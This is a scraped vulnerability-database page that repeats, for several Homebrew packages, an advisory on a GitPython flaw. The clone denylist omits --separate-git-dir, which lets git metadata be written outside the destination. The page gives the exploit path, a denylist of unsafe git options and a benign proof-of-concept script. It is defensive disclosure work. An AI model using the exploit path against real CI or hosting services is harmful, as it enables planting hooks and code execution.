"id": "BREW-cf2tf-CVE-2026-78677",
"modified": "2026-09-17T18:12:26Z",
"published": "2026-09-04T08:48:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78677"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2210"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination",
"upstream": [
"PYSEC-2026-3787",
"CVE-2026-78677",
"GHSA-8mcc-hrx5-hvxc"
]
}
BREW-CHECKOV-CVE-2026-78677 (PYSEC-2026-3787)
Vulnerability from osv_homebrew – Published: 2026-09-04 08:50 – Updated: 2026-09-17 19:53 – Source website- CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense)
- Affected component:
git/repo/base.py,Repo.unsafe_git_clone_options(class attribute, lines 153-165) andRepo._clone()(lines 1477-1520), reached via the publicRepo.clone_from()(line 1626) andRepo.clone()(line 1567) APIs. - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
Repo.clone_from(url, to_path, **kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist, Repo.unsafe_git_clone_options, via Git.check_unsafe_options() — unless the caller passes allow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).
git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafe_git_init_options (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo._clone()/clone()/clone_from() docstring (line 1450-1452) is even more explicit:
:param allow_unsafe_options:
Allow unsafe options to be used, such as ``--template`` and
``--separate-git-dir``.
i.e. the maintainers' own documentation states that allow_unsafe_options=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafe_git_clone_options does not contain it:
unsafe_git_clone_options = [
"--upload-pack",
"-u",
"--config",
"-c",
"--template",
"--bundle-uri",
]
So any application that forwards a separate_git_dir (or separate-git-dir) kwarg into Repo.clone_from() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allow_unsafe_options=False.
Root cause
Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafe_git_init_options correctly lists --separate-git-dir; unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).
Exploit path
- Attacker-controlled input reaches a
separate_git_dir=...(or equivalently"separate-git-dir") keyword argument passed intoRepo.clone_from()/Repo.clone()by the host application, withallow_unsafe_optionsleft at its defaultFalse. Git._option_candidates()renders this as--separate-git-dirandGit.check_unsafe_options()checks it againstRepo.unsafe_git_clone_options— no match, noUnsafeOptionErrorraised.Git.transform_kwargs()renders the same kwarg into the real command line as--separate-git-dir=<attacker path>and GitPython executesgit clone -v --separate-git-dir=<attacker path> -- <url> <dest>viasubprocess(no shell).gititself creates the full repository metadata tree (config,description,HEAD,hooks/,index,objects/,refs/,packed-refs,logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.
Impact
Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:
- Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.
- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/*, refs/*, packed-refs, and index there — an integrity violation of a resource outside the intended destination.
- Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.
Preconditions
- The calling application forwards a caller-influenced value into a
separate_git_dirkwarg ofRepo.clone_from()/Repo.clone()(or into themulti_optionslist as a raw--separate-git-dir=...token) without itself validating/rejecting it, and does not passallow_unsafe_options=Trueintentionally. This is the identical trust model GitPython's own denylist already defends for--template/--upload-pack/--config/--bundle-urion the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.
Evidence
git/repo/base.py:145-151—unsafe_git_init_optionsincludes"--separate-git-dir"with the comment "Redirects the repository metadata to a caller-controlled path".git/repo/base.py:153-165—unsafe_git_clone_options(the list actually enforced on_clone) does not include"--separate-git-dir".git/repo/base.py:1450-1452— docstring ofclone_from/cloneexplicitly documents--separate-git-diras one of the optionsallow_unsafe_optionsis supposed to gate.git/repo/base.py:1495-1518—_clone()special-casesseparate_git_dironly toGit.polish_url()it (path normalization for URL-like values), then runs it throughGit.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)— which, per the list above, does not flag it.- PoC (
gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the realgit clonesubprocess unguarded and creates a full git directory outside the destination path, withallow_unsafe_optionsat its defaultFalse.
False-positive check (adversarial re-read)
- Is there a value-level check that would still stop this? No —
check_unsafe_optionsonly inspects option names (via_canonicalize_option_name) against the denylist; it performs no filesystem/path validation onseparate_git_dir's value, and no other guard in_clone()touches this kwarg besides theGit.polish_url()normalization (which does not reject arbitrary paths). - Is
--separate-git-dirperhaps a no-op or safely sandboxed forclonespecifically (unlikeinit)? No — confirmed empirically: the option reaches the realgitbinary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in
_known-advisories.json(Filter 0):GHSA-9rj7-rf2p-w77rcovers--templateinRepo.init;GHSA-6p8h-3wgx-97gfcovers--templatein clone (already fixed, present inunsafe_git_clone_options);GHSA-hmq2-w58f-27jccovers arbitrary repo creation via unvalidated.gitmodulessubmodule names (a different code path —Submodule, notRepo.clone_from()kwargs). None reference--separate-git-diron the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into
clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template,--upload-pack,--config,--bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.
Remediation
Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.
Confidence
High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (gitpython-001-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.
Run against the GitPython source tree under test, e.g.:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>
Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
src = os.path.join(workdir, "src")
dest = os.path.join(workdir, "dest")
sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
target_gitdir = os.path.join(sentinel_dir, "redirected.git")
for p in (src, dest, sentinel_dir):
os.makedirs(p, exist_ok=True)
# Minimal benign source repo to clone from.
subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True)
subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
with open(os.path.join(src, "file.txt"), "w") as f:
f.write("hello\n")
subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
"guard now includes --separate-git-dir; PoC no longer applicable, target patched"
)
try:
repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
except git.exc.UnsafeOptionError as e:
print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
sys.exit(1)
wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
os.path.join(target_gitdir, "config")
)
gitlink_points_outside = False
with open(os.path.join(dest, ".git")) as f:
gitlink = f.read().strip()
gitlink_points_outside = target_gitdir in gitlink
print("repo.git_dir =", repo.git_dir)
print("wrote git directory outside dest (sentinel) =", wrote_outside)
print("dest/.git gitlink points outside dest =", gitlink_points_outside)
if wrote_outside and gitlink_points_outside:
print("VULNERABLE: git directory created at attacker-controlled path "
f"outside the clone destination: {target_gitdir}")
sys.exit(0)
else:
print("NOT VULNERABLE: sentinel not observed")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.59",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "checkov",
"purl": "pkg:brew/checkov"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.616"
},
{
"fixed": "3.3.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.59",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.59"
}
]
},
"details": "- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the \"escapes intended base directory\" sense)\n- **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs.\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` \u2014 *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 \u2192 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.).\n\n`git clone` also accepts `--separate-git-dir=\u003cpath\u003e`, which redirects the repository\u0027s entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: \u003cpath\u003e`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython\u0027s own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *\"Redirects the repository metadata to a caller-controlled path\"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit:\n\n```\n:param allow_unsafe_options:\n Allow unsafe options to be used, such as ``--template`` and\n ``--separate-git-dir``.\n```\n\ni.e. the maintainers\u0027 own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**:\n\n```python\nunsafe_git_clone_options = [\n \"--upload-pack\",\n \"-u\",\n \"--config\",\n \"-c\",\n \"--template\",\n \"--bundle-uri\",\n]\n```\n\nSo any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` \u2014 e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list \u2014 gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`.\n\n## Root cause\nParity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not \u2014 despite the function\u0027s own docstring claiming otherwise. This is the same \"denylist omits an equally-dangerous sibling option\" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed).\n\n## Exploit path\n1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `\"separate-git-dir\"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`.\n2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` \u2014 no match, no `UnsafeOptionError` raised.\n3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=\u003cattacker path\u003e` and GitPython executes `git clone -v --separate-git-dir=\u003cattacker path\u003e -- \u003curl\u003e \u003cdest\u003e` via `subprocess` (no shell).\n4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path \u2014 which can be **any path outside the intended clone destination** that the process has permission to create \u2014 and leaves a gitlink file at the intended destination pointing to it.\n\n## Impact\nArbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` (\"Arbitrary Git Repository Creation Outside the Working Tree\", CVSS 8.2). Concretely:\n- Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.\n- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository\u0027s `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there \u2014 an integrity violation of a resource outside the intended destination.\n- Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`.\n\n## Preconditions\n- The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython\u0027s own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path \u2014 i.e. this option was clearly meant to be covered by the same guard and was simply omitted.\n- No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.\n\n## Evidence\n- `git/repo/base.py:145-151` \u2014 `unsafe_git_init_options` includes `\"--separate-git-dir\"` with the comment \"Redirects the repository metadata to a caller-controlled path\".\n- `git/repo/base.py:153-165` \u2014 `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `\"--separate-git-dir\"`.\n- `git/repo/base.py:1450-1452` \u2014 docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate.\n- `git/repo/base.py:1495-1518` \u2014 `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` \u2014 which, per the list above, does not flag it.\n- PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`.\n\n## False-positive check (adversarial re-read)\n- **Is there a value-level check that would still stop this?** No \u2014 `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`\u0027s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths).\n- **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No \u2014 confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.\n- **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path \u2014 `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap.\n- **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) \u2014 i.e. it is the same threat model the guard exists to cover, just missing one entry.\n- Verdict: no concrete blocker found. **CONFIRMED.**\n\n## Remediation\nAdd `\"--separate-git-dir\"` (and its `-` alias if git ever adds one \u2014 currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list.\n\n## Confidence\nHigh. Root cause is a one-line, unambiguous omission the maintainers\u0027 own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.\n\n\n## Proof-of-Concept source (`gitpython-001-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in\nunsafe_git_clone_options, so it reaches `git clone` unguarded and writes a\nfull git directory (config, hooks/, objects/, refs/, ...) to an\nattacker-controlled path OUTSIDE the intended destination directory, with\nallow_unsafe_options left at its default of False.\n\nRun against the GitPython source tree under test, e.g.:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-001-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside the given workdir. No destructive/exfiltrating\npayload. Exits non-zero and prints \"NOT VULNERABLE\" if the guard blocks the option\nor the write does not escape the destination directory.\n\"\"\"\nimport os\nimport sys\nimport subprocess\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-001-poc\"\n src = os.path.join(workdir, \"src\")\n dest = os.path.join(workdir, \"dest\")\n sentinel_dir = os.path.join(workdir, \"OUTSIDE_SENTINEL\")\n target_gitdir = os.path.join(sentinel_dir, \"redirected.git\")\n\n for p in (src, dest, sentinel_dir):\n os.makedirs(p, exist_ok=True)\n\n # Minimal benign source repo to clone from.\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", src], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.email\", \"test@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.name\", \"Test\"], check=True)\n with open(os.path.join(src, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n subprocess.run([\"git\", \"-C\", src, \"add\", \"file.txt\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n\n print(\"unsafe_git_clone_options =\", git.Repo.unsafe_git_clone_options)\n assert \"--separate-git-dir\" not in git.Repo.unsafe_git_clone_options, (\n \"guard now includes --separate-git-dir; PoC no longer applicable, target patched\"\n )\n\n try:\n repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)\n except git.exc.UnsafeOptionError as e:\n print(\"NOT VULNERABLE: blocked by UnsafeOptionError:\", e)\n sys.exit(1)\n\n wrote_outside = os.path.isdir(os.path.join(target_gitdir, \"hooks\")) and os.path.isfile(\n os.path.join(target_gitdir, \"config\")\n )\n gitlink_points_outside = False\n with open(os.path.join(dest, \".git\")) as f:\n gitlink = f.read().strip()\n gitlink_points_outside = target_gitdir in gitlink\n\n print(\"repo.git_dir =\", repo.git_dir)\n print(\"wrote git directory outside dest (sentinel) =\", wrote_outside)\n print(\"dest/.git gitlink points outside dest =\", gitlink_points_outside)\n\n if wrote_outside and gitlink_points_outside:\n print(\"VULNERABLE: git directory created at attacker-controlled path \"\n f\"outside the clone destination: {target_gitdir}\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: sentinel not observed\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-checkov-CVE-2026-78677",
"modified": "2026-09-17T19:53:35Z",
"published": "2026-09-04T08:50:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78677"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2210"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination",
"upstream": [
"PYSEC-2026-3787",
"CVE-2026-78677",
"GHSA-8mcc-hrx5-hvxc"
]
}
BREW-COBO-CLI-CVE-2026-78677 (PYSEC-2026-3787)
Vulnerability from osv_homebrew – Published: 2026-09-04 08:51 – Updated: 2026-09-09 23:48 – Source website- CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense)
- Affected component:
git/repo/base.py,Repo.unsafe_git_clone_options(class attribute, lines 153-165) andRepo._clone()(lines 1477-1520), reached via the publicRepo.clone_from()(line 1626) andRepo.clone()(line 1567) APIs. - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
Repo.clone_from(url, to_path, **kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist, Repo.unsafe_git_clone_options, via Git.check_unsafe_options() — unless the caller passes allow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).
git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafe_git_init_options (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo._clone()/clone()/clone_from() docstring (line 1450-1452) is even more explicit:
:param allow_unsafe_options:
Allow unsafe options to be used, such as ``--template`` and
``--separate-git-dir``.
i.e. the maintainers' own documentation states that allow_unsafe_options=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafe_git_clone_options does not contain it:
unsafe_git_clone_options = [
"--upload-pack",
"-u",
"--config",
"-c",
"--template",
"--bundle-uri",
]
So any application that forwards a separate_git_dir (or separate-git-dir) kwarg into Repo.clone_from() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allow_unsafe_options=False.
Root cause
Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafe_git_init_options correctly lists --separate-git-dir; unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).
Exploit path
- Attacker-controlled input reaches a
separate_git_dir=...(or equivalently"separate-git-dir") keyword argument passed intoRepo.clone_from()/Repo.clone()by the host application, withallow_unsafe_optionsleft at its defaultFalse. Git._option_candidates()renders this as--separate-git-dirandGit.check_unsafe_options()checks it againstRepo.unsafe_git_clone_options— no match, noUnsafeOptionErrorraised.Git.transform_kwargs()renders the same kwarg into the real command line as--separate-git-dir=<attacker path>and GitPython executesgit clone -v --separate-git-dir=<attacker path> -- <url> <dest>viasubprocess(no shell).gititself creates the full repository metadata tree (config,description,HEAD,hooks/,index,objects/,refs/,packed-refs,logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.
Impact
Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:
- Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.
- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/*, refs/*, packed-refs, and index there — an integrity violation of a resource outside the intended destination.
- Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.
Preconditions
- The calling application forwards a caller-influenced value into a
separate_git_dirkwarg ofRepo.clone_from()/Repo.clone()(or into themulti_optionslist as a raw--separate-git-dir=...token) without itself validating/rejecting it, and does not passallow_unsafe_options=Trueintentionally. This is the identical trust model GitPython's own denylist already defends for--template/--upload-pack/--config/--bundle-urion the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.
Evidence
